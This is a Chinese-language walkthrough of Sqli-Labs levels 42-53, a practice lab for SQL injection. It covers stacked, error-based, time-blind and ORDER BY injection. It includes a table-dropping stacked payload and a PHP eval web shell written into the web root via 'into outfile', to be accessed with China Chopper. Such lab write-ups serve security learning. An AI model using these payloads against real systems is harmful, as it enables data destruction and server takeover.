Sqli-Labs 闯关 less 42-53
Less 42:
我们发现本关与之前的一个关卡神似,就是利用二次注入修改admin的密码,但与本关肯定不同。。。
首先我们查看本关的index.php文件,发现username的值中单引号进行了转义,而password没有进行处理,说明我们可以对password进行注入,还有就是对username和password都用单引号进行了包裹。。。

打开火狐浏览器右上角的Firebug,进行页面源代码编辑,将Password的类型改为text,使其明文显示方便我们查看。。。

我们先查表有junjie,然后用户名随便输一个a,密码输s';drop table junjie;#返回错误,再查表,发现成功删除。。。


Less 43:
与Less 42的区别在于本关的用户名和密码使用的是('username')('password')进行包裹,其余均相同。。。
Less 44:
与Less 42唯一的区别在于没有报错信息,其余均相同。。。
Less 45:
与Less 43唯一的区别在于没有报错信息,其余均相同。。。
补充:使用堆叠注入写入一句话木马。。。
条件:
1. 获得root 写权限
2.会写一句话木马
3.select xxx into outfile xxx
4.知道绝对路径
构造语句:
select '<?php @eval($_POST[junjie]);?>' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\junjie.php';#
这里要用双斜杠,因为在pycharm中单斜杠会被替换。。。
我们将构造语句使用堆叠注入的方法写入Less 45中执行,返回错误,我们打开刚才写入的网站根目录进行查看,发现写入成功。。。


之后再使用中国菜刀进行访问即可获得更高权限。。。
Less 46:
补充知识:






参考链接:https://www.cnblogs.com/SZxiaochun/p/6027450.html
![]()


接下来我们打开Less 46,根据页面提示,输入?sort=1返回一个表。。。

再输入?sort=2查看返回信息,发现order by后面变成2,数据按照第2列进行排列,我们试一下在后面加上desc,发现数据成功降序排列,说明此处存在注入点。。。

使用union select联合查询,返回错误,有返回报错信息,说明存在报错注入。。。

方法一:使用updatexml报错注入。。。
根据上一步返回的报错信息,前面有select,再报错注入前要删掉select,成功进行查库,之后替换database()进行操作即可。。。

方法二:使用基于时间的盲注。。。
还是把select去掉,返回正确。。。

Less 47:
与Less 46唯一的区别是order by'3',其余均相同。。。
Less 48:
与Less 46唯一的区别是没有报错信息,所以不能使用报错注入,其余均相同。。。
Less 49:
与Less 47唯一的区别是没有报错信息,所以不能使用报错注入,其余均相同。。。
总结:
?id=
?sort=
select * from users where id=xxx
select * from users order by xxx
Less 46-49 报错注入,时间盲注
有的以''进行包裹
select *** into outfile ''以Less 49为例写入文件,发现写入成功。。。


我们再写入一句话木马,发现文件虽然创建了,但没有写入一句话木马。。。


我们使用之前补充知识里的lines terminated by 0xXXX试一下,发现成功创建并写入一句话木马。。。


Less 50:
我们首先输入?sort=1返回正确,查看本关的index.php文件与Less 46-49的不同。。。
在本关中使用了mysqli_multi_query()函数(https://www.runoob.com/php/func-mysqli-multi-query.html)
而在Less 46-49中使用了mysqli_fetch_assoc()函数(https://www.runoob.com/php/func-mysqli-fetch-assoc.html)
区别在于本关可以使用堆叠注入,下面是总结:

Less 51:
与Less 50唯一的区别在于使用?sort=1'进行了包裹,其余均相同。。。
Less 52:
与Less 50唯一的区别在于没有报错信息,无法使用报错注入,其余均相同。。。
Less 53:
与Less 51唯一的区别在于没有报错信息,无法使用报错注入,其余均相同。。。

浙公网安备 33010602011771号